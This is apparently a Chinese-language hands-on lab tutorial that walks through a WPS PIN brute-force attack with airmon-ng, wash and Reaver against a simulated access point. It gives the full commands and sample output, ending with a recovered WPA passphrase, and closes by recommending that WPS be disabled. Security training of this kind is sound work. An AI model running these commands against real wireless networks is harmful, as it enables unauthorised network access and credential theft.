使用 Reaver 执行 WPS 暴力破解攻击

Beginner
立即练习

引言

Wi-Fi Protected Setup (WPS) 是一种网络安全标准,旨在使路由器与无线设备之间的连接更快速、更简便。然而,其 PIN 功能存在一个重大的设计缺陷,使其容易受到暴力破解攻击。

在本实验中,你将学习如何利用 Reaver(一款专门为此目的设计的工具)来利用这一漏洞。你将贯穿整个过程,从设置无线接口和扫描目标,到发起攻击并成功恢复 WPA/WPA2 密码短语。这种实践经验将让你对一种常见的 Wi-Fi 攻击向量以及网络安全卫生(network security hygiene)的重要性有实际的理解。

在本实验中,我们将使用模拟的 Wi-Fi 环境,以便你可以安全合法地执行这些操作。

从 wash 扫描中选择一个目标 BSSID

在此步骤中,你将准备好无线接口进行监控,并扫描存在 WPS 漏洞的网络。首要任务是将你的无线网卡置于“监控模式”(monitor mode),这允许它捕获空中所有的 Wi-Fi 流量,而不仅仅是发往你设备的流量。我们将使用 airmon-ng 来完成此操作。然后,我们将使用 wash 来识别我们的目标。

首先,让我们在监控模式下启动虚拟无线接口 wlan0。这将创建一个新的接口,通常命名为 wlan0mon

sudo airmon-ng start wlan0

你应该会看到输出确认监控模式已启用。现在,在接口处于监控模式下,你可以使用 wash 来扫描附近的启用了 WPS 的接入点。

sudo wash -i wlan0mon

片刻之后,wash 将显示一个网络列表。我们的模拟网络名为 TestAP

BSSID               Ch  WPS Version  WPS Locked  ESSID
--------------------------------------------------------------------------------
XX:XX:XX:XX:XX:XX   6   1.0          No          TestAP

从此输出中,识别并复制 TestAP 网络的 BSSID。BSSID 是接入点的唯一硬件地址,在下一步发起攻击时你需要用到它。

使用 -i 和 -b 标志启动 Reaver 攻击

在此步骤中,你将针对你已识别的目标接入点发起 Reaver 攻击。Reaver 会自动化尝试所有可能的 WPS PIN 组合以找到正确 PIN 的过程。

要启动攻击,你需要向 Reaver 提供两个关键信息:监控模式接口和目标的 BSSID。

  • -i <interface>:指定监控模式接口(例如 wlan0mon)。
  • -b <bssid>:指定目标接入点的 BSSID。

现在,运行 reaver 命令。将 <BSSID_FROM_WASH> 替换为你在上一步复制的实际 BSSID。

sudo reaver -i wlan0mon -b <BSSID_FROM_WASH>

执行命令后,Reaver 将开始运行。当你与目标接入点关联时,你将看到初始状态消息。

[+] Reaver v1.6.5 WiFi Protected Setup Attack Tool
[+] Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from XX:XX:XX:XX:XX:XX
[+] Associated with TestAP (ESSID: TestAP)

这表明攻击已经开始。在下一步中,我们将添加一个参数来查看更详细的进度。目前,你可以通过按 Ctrl+C 来停止当前命令。

添加 -vv 参数以获取详细输出以监控进度

在此步骤中,你将使用详细标志重新启动 Reaver 攻击,以获得关于其进度的更详细反馈。默认情况下,Reaver 的输出非常少。为了学习和故障排除,了解该工具的确切操作非常有帮助。

Reaver 有一个详细标志 -v,以及一个双详细标志 -vv,用于提供更多细节。我们将使用 -vv 来查看 PIN 尝试和其他事务信息。

如果之前的 Reaver 命令仍在运行,请按 Ctrl+C 停止它。现在,重新运行该命令,并在末尾添加 -vv 标志。请记住使用与之前相同的 BSSID。

sudo reaver -i wlan0mon -b < BSSID_FROM_WASH > -vv

启用详细输出后,你现在将看到攻击的更详细日志。这包括 M1-M7 消息,它们是 WPS 身份验证交换的一部分,以及正在测试的具体 PIN。

[+] Associated with TestAP (ESSID: TestAP)
[+] Trying pin "12345670"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
...

此详细视图确认 Reaver 正在积极地针对目标测试 PIN。

观察 PIN 破解尝试和进度百分比

在此步骤中,你将观察 Reaver 攻击的运行情况。启用详细输出后,你可以实时监控进度。

随着 Reaver 的运行,请注意终端输出中的两个关键信息:

  1. PIN 尝试:你将看到类似 [+] Trying pin "XXXXXXXX" 的行。这显示了 Reaver 当前正在测试的确切 PIN。
  2. 进度百分比:Reaver 会定期更新其进度,显示类似 [+] XX.XX% complete 的行。

WPS PIN 是一个 8 位数字,但 Reaver 会将其分成两部分进行破解。它首先暴力破解前四位数字,然后是接下来的三位数字,最后一位数字是一个校验和,可以计算得出。这种设计将可能性从 100,000,000 大幅减少到仅 11,000,使得攻击非常实用。

在我们模拟的环境中,由于我们将接入点配置为 Reaver 早期尝试的已知 PIN,因此攻击将非常快速地完成。在实际场景中,这个过程可能需要几个小时。

让命令运行直到完成。在此步骤中,你无需输入任何新命令;只需观察输出即可。

记录成功后找到的 WPS PIN 和 WPA 密码短语

在此步骤中,你将看到 Reaver 攻击成功的 결과,并记录恢复的凭据。

一旦 Reaver 找到正确的 WPS PIN,它将使用该 PIN 从接入点检索 WPA/WPA2 密码短语。然后攻击将停止,Reaver 会将恢复的凭据打印到屏幕上。

成功的输出将如下所示:

[+] WPS PIN: '12345670'
[+] WPA PSK: 'labex_password'
[+] AP SSID: 'TestAP'

恭喜!你已成功执行了 WPS 暴力破解攻击并恢复了网络的凭据。

为了方便记录,让我们将此信息保存到项目目录中一个名为 result.txt 的文件中。执行以下命令来创建文件并存储凭据:

echo -e "WPS PIN: 12345670\nWPA Passphrase: labex_password" > ~/project/result.txt

你可以使用 cat 命令验证文件内容:

cat ~/project/result.txt

总结

在本实验中,你获得了对一种常见 Wi-Fi 攻击的实践经验。你了解了 WPS 协议中的漏洞以及如何在安全的模拟环境中利用 Reaver 工具进行攻击。

你成功完成了以下关键任务:

  • 使用 airmon-ng 将无线接口置于监听模式。
  • 使用 wash 扫描并识别出易受攻击的启用了 WPS 的网络。
  • 使用 reaver 发起暴力破解攻击,指定目标和接口。
  • 使用详细标志(verbose flags)详细监控攻击进度。
  • 成功恢复了 WPS PIN 和 WPA 密码短语。

本次练习突显了加强网络安全实践的重要性。为了防范此类攻击,强烈建议禁用无线路由器上的 WPS 功能。